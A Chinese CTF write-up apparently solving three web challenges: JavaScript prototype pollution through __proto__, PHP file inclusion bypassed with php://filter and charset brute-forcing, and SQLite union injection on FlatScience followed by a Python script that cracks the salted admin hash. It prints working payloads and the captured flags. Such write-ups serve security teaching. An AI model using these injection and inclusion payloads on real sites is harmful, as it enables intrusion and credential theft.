wife_wife、题目名称-文件包含、FlatScience

wife_wife

前言

JavaScript 原型链污染是一种针对 JS 原型继承机制的安全漏洞,核心是通过篡改对象的 prototype(原型),向全局对象(如 Object、Array)注入恶意属性 / 方法,进而影响所有继承自该原型的对象,导致代码执行、权限提升、逻辑篡改等风险。

一、JS 原型与原型链

要理解污染,先明确 JS 的核心继承逻辑:

原型(prototype):每个 JS 对象(除 null)都有一个隐藏的 [[Prototype]] 属性(可通过 proto 访问),指向其 "原型对象"。原型对象中存储着该类对象的共享属性 / 方法(比如 Array.prototype.push 是所有数组的共享方法)。

原型链:当访问一个对象的属性时,JS 会先在对象自身查找;若找不到,会顺着 proto 向上遍历原型对象,直到 Object.prototype(原型链的顶端)。

举个简单例子:

javascript 复制代码
const arr = [1, 2, 3];

arr.push(4); // 实际调用的是 Array.prototype.push

arr.toString(); // 找不到自身的 toString,向上找 Object.prototype.toString

二、原型链污染的原理

若代码允许用户输入修改对象的原型属性,攻击者可通过 proto 或 prototype 关键字,向全局原型(如 Object.prototype)注入恶意内容。由于所有对象都继承自 Object.prototype,这些恶意内容会变成 "全局共享属性",影响所有对象。

直观示例(污染 Object.prototype

javascript 复制代码
const obj = {};
console.log(obj.evil); // undefined(自身和原型都没有 evil 属性)

若存在污染漏洞,攻击者可注入属性:
// 假设代码允许用户输入修改对象(模拟漏洞场景)
const userInput = { "__proto__": { "evil": "恶意值" } };

// 危险操作:将用户输入的属性"合并"到目标对象(未过滤 __proto__)
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object' && source[key] !== null) {
      merge(target[key], source[key]); // 递归合并对象
    } else {
      target[key] = source[key]; // 直接赋值
    }
  }
  return target;
}
// 执行合并:用户输入的 __proto__ 被解析,污染 Object.prototype
merge({}, userInput);

// 所有对象都继承了 evil 属性!
const obj1 = {};
const obj2 = new Array();
console.log(obj1.evil); // "恶意值"(本不该有)
console.log(obj2.evil); // "恶意值"(数组也被影响)

解题

题目描述:cat-wifi,本题不需要爆破

注册一个账号,登陆后发现flag,但是不正确

那就去注册页面,勾选管理员,然后抓包

发现invalid invite code,无效的邀请码,既然是JS原型链污染,那就加上__proto__这个继承对象的属性payload

删掉邀请码,不然无法成功

登陆即可发现flag

CatCTF{test_flag_h0w_c@n_I_l1ve_w1th0ut_nilou}

题目名称 - 文件包含

打开题目是一段php代码

php 复制代码
highlight_file(__FILE__); // 高亮显示当前文件的源代码(调试/展示用)

include("./check.php");   // 包含当前目录下的 check.php 文件(可能是验证逻辑)

if(isset($_GET['filename'])){ // 检查 URL 中是否传入 GET 参数 filename

    $filename = $_GET['filename']; // 接收用户输入的 filename 参数

    include($filename); // 直接将用户输入作为文件路径包含执行

}

明显是文件包含漏洞,先去御剑中进行目录扫描看看有什么文件

发现flag.php,flag大概率在这个文件里,使用php伪协议访问该文件

php 复制代码
?filename=php://filter/read=convert.base64-encode/resource=flag.php

好吧被过滤了,去爆破字符集

php 复制代码
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
BASE64

1,2两个位置都设为这个字符集

注意:url编码要取消勾选

开始攻击

发现这几个组合都可以

得到flag:cyberpeace{3bcc779aba293ce3bdee6122045bb68b}

FlatScience

打开题目,看到如下界面

打开链接发现都是英文文献

那应该没有啥有用的信息,那就先将网站使用御剑扫描一下

发现/robots.txt、/admin.php、/login.php文件

访问/robots.txt文件

发现显示的是/admin.php、/login.php文件

访问/admin.php

这里是一个管理员登录界面,给了默认账号名,但是没有密码,继续访问/login.php

和管理员登录界面类似,也是需要输入用户名和密码,查看源代码

发现这个有个debug模式的说明,说明大概率开启了debug模式,那么我们在访问login.php时带上参数?debug=1

看到其中一段php代码,查看后发现是post传参,并且存在sql注入,SQLite3 数据库,已知表:Users (存储用户信息)

php 复制代码
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
       
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }
}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

那就直接bp抓包,进行sql注入,其实可以用HackBar插件,但我不知道ID的参数,就用bp看一下,接下来用插件传参也没事。

usr=1'

发现是单引号闭合

查看回显

sql 复制代码
usr=1' union select 1,2 --

发现只有第2个参数有回显,且只有2个字段

查资料知道每一个SQLite数据库都有一个叫SQLITE MASTER的表,里面存储着数据库的数据结构(表结构、视图结构、索引结构等),只可以

对他使用查询语句

sql 复制代码
usr=1' union select name,sql from sqlite_master --

Set-Cookie: name=+CREATE+TABLE+Users%28id+int+primary+key%2Cname+varchar%28255%29%2Cpassword+varchar%28255%29%2Chint+varchar%28255%29%29;

可以看到数据库中又一张Users表,里面有id,name, password,hint等字段

查询账号

sql 复制代码
usr=1' union select id,name from Users limit 0,1 --

账号:admin

查询密码

sql 复制代码
usr=1' union select id,password from Users limit 0,1 --

密码:3fab54a50e770d830c0416df817567662a9dc85c

获取hint值

hint值为:my+fav+word+in+my+fav+paper%3F%21

根据hint的name=+my+fav+word+in+my+fav+paper%3F%21提示可能passwrod在pdf文章的hash码中。结合前面源代码里的password加密,先用wget将网站的全部pdf文件down下来。

sql 复制代码
wget http://61.147.171.103:63512/ -r -np -nd -A .pdf

把获取的pdf与以下py文件放在同一个目录即可

这个是用来爆破解密的(读取当前目录下的所有pdf文件)

python 复制代码
from io import StringIO
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter

import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request


def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]

def convert_pdf_to_txt(path_to_file):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    codec = 'utf-8'
    laparams = LAParams()
    device = TextConverter(rsrcmgr, retstr, laparams=laparams)
    fp = open(path_to_file, 'rb')
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    password = ""
    maxpages = 0
    caching = True
    pagenos=set()

    for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
        interpreter.process_page(page)

    text = retstr.getvalue()

    fp.close()
    device.close()
    retstr.close()
    return text

def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print ("Searching word in " + i)
        pdf_text = convert_pdf_to_txt("./"+i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()
            if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):
                print ("Find the password :" + word)
                exit()

if __name__ == "__main__":

    find_password()

执行这个脚本

得到admin的密码为:ThinJerboa

直接登陆/admin

发现flag:flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

相关推荐
q_354888515339 分钟前
AI大模型:python新能源汽车推荐系统 协同过滤推荐算法 Echarts可视化 Django框架 大数据毕业设计(源码+文档)✅
大数据·人工智能·python·机器学习·信息可视化·汽车·推荐算法
Yeats_Liao41 分钟前
开源生态资源:昇腾社区ModelZoo与DeepSeek的最佳实践路径
python·深度学习·神经网络·架构·开源
yuguo.im1 小时前
我开源了一个 GrapesJS 插件
前端·javascript·开源·grapesjs
安且惜1 小时前
带弹窗的页面--以表格形式展示
前端·javascript·vue.js
被星1砸昏头1 小时前
掌握Python魔法方法(Magic Methods)
jvm·数据库·python
Kaede61 小时前
排除网络故障需要做什么?查看网络故障的步骤
网络安全·云计算
周某人姓周1 小时前
sqlilabs靶场通关详解
数据库·mysql·安全·网络安全
love530love2 小时前
彻底解决 ComfyUI Mixlab 插件 Whisper.available False 的报错
人工智能·windows·python·whisper·win_comfyui
摘星编程2 小时前
用React Native开发OpenHarmony应用:NFC读取标签数据
javascript·react native·react.js
不解风水2 小时前
《深度学习入门:基于 Python 的理论与实现》(斋藤康毅)
人工智能·python·深度学习